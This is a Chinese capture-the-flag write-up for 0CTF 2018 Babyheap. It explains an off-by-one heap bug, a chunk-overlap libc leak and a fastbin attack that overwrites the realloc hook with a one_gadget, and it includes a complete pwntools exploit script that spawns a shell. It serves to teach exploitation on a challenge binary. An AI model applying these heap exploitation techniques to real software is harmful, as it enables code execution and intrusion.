0CTF 2018 Babyheap
前言
上周题目分析0CTF
临危受命,就做出一道题, 感觉思路很新颖, 分享一下.
1. checksec
Arch:amd64-64-little
RELRO:Full RELRO
Stack:Canary found
NX:NX enabled
PIE:PIE enabled
结论: 保护全开, 必是堆溢出之类的.
2. 结构体
struct node{
int inUse;
int size;
char* ptr;
}
3. 菜单
===== Baby Heap in 2018 =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit
Command:
4. Allocate(可以申请最大0x58字节的内存)
Command: 1
Size: 20
Chunk 0 Allocateed
5. Update(Off_By_One漏洞)
Command: 2
Index: 0
Size: 20
Content: AAAAAAAAAAAAAAAAAAAA
Chunk 0 Updated
6. Delete
Command: 3
Index: 0
Chunk 0 Deleted
7. View
Command: 4
Index: 0
Chunk[0]: AAAAAAAAAAAAAAAAAAAA
8. Exit
Command: 5
3. 漏洞分析
Off_By_One:
Off_By_One
是指我们能够多写入一个字节, 这种漏洞往往和对边界的长度验证不严格和字符串操作有关. 小栗子:
#include
#include
#include int main(void){
char* buf1 = malloc(0x28);
char* buf2 = malloc(0x40);
read(0, buf1, 0x29);
//0x29 - 0x28 = 1, 多写入一个字节
printf("buf1 is %s\n", buf1);
return 0;
}
编译
gcc -g example.c -o example
运行
./off_by_one(输入前)
0x602000:0x00000000000000000x0000000000000031
0x602010:0x00000000000000000x0000000000000000
0x602020:0x00000000000000000x0000000000000000
0x602030:0x00000000000000000x0000000000000051-------
0x602040:0x00000000000000000x0000000000000000|
0x602050:0x00000000000000000x0000000000000000|
0x602060:0x00000000000000000x0000000000000000|
0x602070:0x00000000000000000x0000000000000000|
|
(输入后)|
0x602000:0x00000000000000000x0000000000000031|
0x602010:0x41414141414141410x4141414141414141|
0x602020:0x41414141414141410x4141414141414141|
0x602030:0x41414141414141410x0000000000000041 <-------
0x602040:0x00000000000000000x0000000000000000
0x602050:0x00000000000000000x0000000000000000
0x602060:0x00000000000000000x0000000000000000
0x602070:0x00000000000000000x0000000000000000
结论: 可以修改
chunk size
大小.4. 题目分析
漏洞点:
Update
功能可以允许我们多输入一个字节. 我们需要解决如下问题
第一个问题
- 如何
libc
地址 ?- 如何获取
shell
?
知识点: 当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址.答:
Overlap
alloc(0x48) #0
alloc(0x48) #1
alloc(0x48) #2
update(0, 0x49, "A"*0x48 + "\xa1") #修改1的chunk size为0xa1
free(1) #实际上是将1和2一起释放了
alloc(0x48)# 申请1
view(2)# 2我们是可以查看的
相关内存
chunk0x55719bd460000x50(inuse) ------------
chunk0x55719bd460500x50 -----|(inuse) |alloc(0x48)|
chunk0x55719bd460a00x50 -----|(inuse) |alloc(0x48)|
chunk0x55719bd460f00x50|(inuse) |alloc(0x48)|
|-------------
chunk0x55719bd460000x50|(inuse) -------
chunk0x55719bd460500xa0<----(1和2)(inuse)|update|
chunk0x55719bd460f00x50|(inuse) ----------------
||free(1)|
chunk0x55719bd460000x50|(inuse)∨-------∨
chunk0x55719bd460500xa0(1和2)---->(F) FD 0x7f46a1c7cb78 BK 0x7f46a1c7cb78 (LC)|
chunk0x55719bd460f00x50|(inuse)
|
chunk0x55719bd460000x50|(inuse) ------------------------------------------
chunk0x55719bd460500x50|(inuse) |alloc(0x48), 輸入2可以將0x7f46a1c7cb78打印出來
chunk0x55719bd460a00x50(2)-----> (F) FD 0x7f46a1c7cb78 BK 0x7f46a1c7cb78 (LC)
chunk0x55719bd460f00x50(inuse)
整体思路: 分配三个,
0,1,2
.通过Off_By_One
可以将1
的chunk size
改为0xa1
, free(1)
等于将1和2
一起释放, 但2
标识着未释放.alloc(0x48)
将0x7f46a1c7cb78
移到2
中, 打印即可泄露地址.第二个问题
fastbin attack, 在ralloc_hook写入execve(“/bin/sh”)来获取shell通过上一个问题的回答, 我们有可能申请两个,这两个的
content
指向同一块内容.alloc(0x48) # 4 = 2, content申请的地址是0x55719bd460a0,
delete(1)
delete(2)
view(4)结果:
-------------------------------------------------------
0x55719bd460a0: 0x00000000000000000x0000000000000051 |
0x55719bd460b0: 0x000055719bd460500x0000000000000000 |
0x55719bd460c0: 0x00000000000000000x0000000000000000 |
结论: 由于
fastbin
是单链表链接的, 所以2的fd(下一个)
指向了1, 我们可以任意修改这个地址, 来达到任意写的目的.由于我们题目限制最大申请内存为88, 不能直接修改
calloc__hook
, 于是我们借助修改top chunk
, 将top chunk 修改至calloc_hook
附近, 然后再将execve("/bin/sh")
地址填入calloc_hook.
修改:
update(4, 9, p64(addr)) --> 修改地址, addr 是据top chunk的不远处
alloc(0x48)--> 1
alloc(0x40)--> 2,返回目标地址
update(2, 0x2c, "\x00"*35 + p64(newtop)) --> 修改top chunk 为ralloc_hook 附近
alloc(56)
update(5, 28, "W"*11 + p64(one)*2) --> 向ralloc_hook写入
alloc(0x28)--> 由于ralloc_hook处有指针, 执行指针指向的函数
完整EXP
from pwn import *context.log_level = 'debug'
HOST='202.120.7.204'
PORT=127Local = 1if Local:
p = process("./babyheap")
libc_offset = 0x3c4b78 #本机, ubuntu 16.04
one_offset = 0x4526a
else:
p=remote(HOST,PORT)
libc_offset = 0x68+0x399af0 #远程
one_offset = 0x3f35a
libc = ELF('./libc.so.6')
#gdb.attach(p)def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))def update(index, size, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(content)def delete(index):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))def view(index):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(index))def leak():
alloc(0x48) #0
alloc(0x48) #1
alloc(0x48) #2
alloc(0x48) #3update(0, 0x49, "A"*0x48 + "\xa1")
delete(1)#1
alloc(0x48) #1
view(2)
p.recvuntil("Chunk[2]: ")
leak = u64(p.recv(8))
libc_base = leak - libc_offset
main_arena = leak - 0x58
log.info("libc_base: %s" % hex(libc_base))
log.info("main_arena: %s" % hex(main_arena))alloc(0x48) #4 = 2
delete(1)
delete(2)
view(4)p.recvuntil("Chunk[4]: ")
heap = u64(p.recv(8)) - 0x50
log.info("heap: %s" % hex(heap))
return main_arena, libc_basedef exp(main_arena, libc_base):
alloc(0x58) # 1
delete(1)# 1addr = main_arena + 37
newtop = main_arena - 0x33
one = libc_base + one_offset
log.info("addr: %s" % hex(addr))
log.info("newtop: %s " % hex(newtop))
log.info("one: %s" % hex(one))update(4, 9, p64(addr))
alloc(0x48)
alloc(0x40)
update(2, 0x2c, "\x00"*35 + p64(newtop))
alloc(56)
update(5, 28, "w"*11 + p64(one)*2)
alloc(22)if __name__=='__main__':main_arena, libc_base = leak()
exp(main_arena, libc_base)
p.interactive()
多说一句
可能在尝试的过程中, EXP会出现失败的情况, 我建议多试几次
结果
文章图片
参考链接
【PWN类型之堆溢出|0CTF 2018 BabyHeap】0CTF Babyheap 2018
推荐阅读
- ELF,PE文件格式 及 延迟绑定(PLT、GOT表)、动态链接(.dynamic段)
- [V&N2020 公开赛]babybabypwn[srop]
- babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyrop
- buuctf中的一些pwn题总结(不断更新)
- pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
- 堆溢出|House of force —— gyctf_2020_force
- 栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me
- 堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap